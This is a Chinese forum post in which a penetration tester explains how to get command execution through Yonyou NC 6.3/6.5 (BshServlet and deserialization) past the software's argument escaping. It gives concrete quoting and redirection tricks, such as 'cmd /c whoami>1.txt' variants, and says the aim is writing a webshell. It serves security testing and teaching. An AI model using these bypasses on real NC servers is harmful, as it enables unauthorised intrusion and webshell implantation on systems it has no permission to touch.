首页
社区
课程
招聘
[原创]yonyouNC命令执行Bypass测试分享
发表于: 2023-7-27 10:25 683

[原创]yonyouNC命令执行Bypass测试分享

2023-7-27 10:25
683

前言

在渗透和攻防中,多次遇到用友NC系统,一直以来都是用别人的工具,自己从来没分析研究过用友的源码和利用。遇到一些场景或需要利用漏洞执行命令时踩了很多坑。最近通过灰盒测试简单分析了下NC6的命令执行,并尝试bypass。

测试

**测试环境:**win server+NC6.3,win server+NC6.5

NC6.3

首先是用友NC6.3 ,无论是bsh.servlet.BshServlet命令执行还是反序列化执行系统命令,都会遇到dir、echo命令会执行失败,通过监控进程,发现未调用cmd,猜测是被过滤。

当命令执行成功时,会调用系统cmd执行

通过测试,发现加上cmd /c 能够成功调用cmd并执行

通过尝试echo命令写入文件,也没有问题,完全正常写入

exec("cmd /c echo ccc > nc63.txt");

NC6.5

在nc6.5中,发现6.3的方法已不再适用。增加了转义,特殊符号全部失效,例如通过echo写入需要用到的“>” ,会被双引号转义成字符串而非命令。

被转义:可以看到 cmd和特殊字符都被添加了双引号包裹

失败尝试:

1
2
cmd /c whoami > 1.txt 转义 "cmd" /c whoami ">" 1.txt
cmd /c whoami> 1.txt 转义 "cmd" /c whoami ">1.txt"

尝试Bypass

首先是执行无参数的命令,观察发现上边使用cmd /c 时,cmd被加了双引号,但还是成功调用了cmd命令。

1.经过在cmd下测试 命令加上双引号还是会正常执行。

2.nc6.5中 会以空格分界,对含有特殊字符的字符串添加引号

通过测试,发现上面两个特写。用如下方式,将执行结果通过尖括号输出到文本。

成功执行方式:

1
2
cmd /c whoami> 1.txt 转义 "cmd" /c "whoami>1.txt"
cmd /c whoami> 1.txt 转义 "cmd" /c "whoami>" 1.txt

命令执行带参数:

如果出现命令需要有参数的场景怎么办?

win中的系统命令大多都是用斜线“/” 来声明参数名,经过尝试,发现可以直接省去空格连写:

1
2
cmd /c netstat/ant>1.txt 转义 "cmd" /c "netstat/ant>1.txt"
cmd /c dir/b "C:\>1.txt" "CmD" /c dir/b ""C:\>1.txt""

写文件:

在实战中还是要写入webshell的,要用到echo 和">"符号。

这一步却是让我折腾了一番,想到用闭合双引号方式来干扰转义。

经过测试,用如下方式写入:缺点是会多出空格和引号:

1
cmd /c echo 11" >1.txt" 转为 "cmd" /c echo 11" ">1.txt""

总结

会用利用脚本是一回事,复现了漏洞是一回事,能否在攻防中利用漏洞并拿到权限又是另一回事。

看似有了exp复现了漏洞就是掌握了,但在实战中总会遇到不同环境、不同场景,也会出现不同状况,还是要掌握漏洞原理才能逐个攻破。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//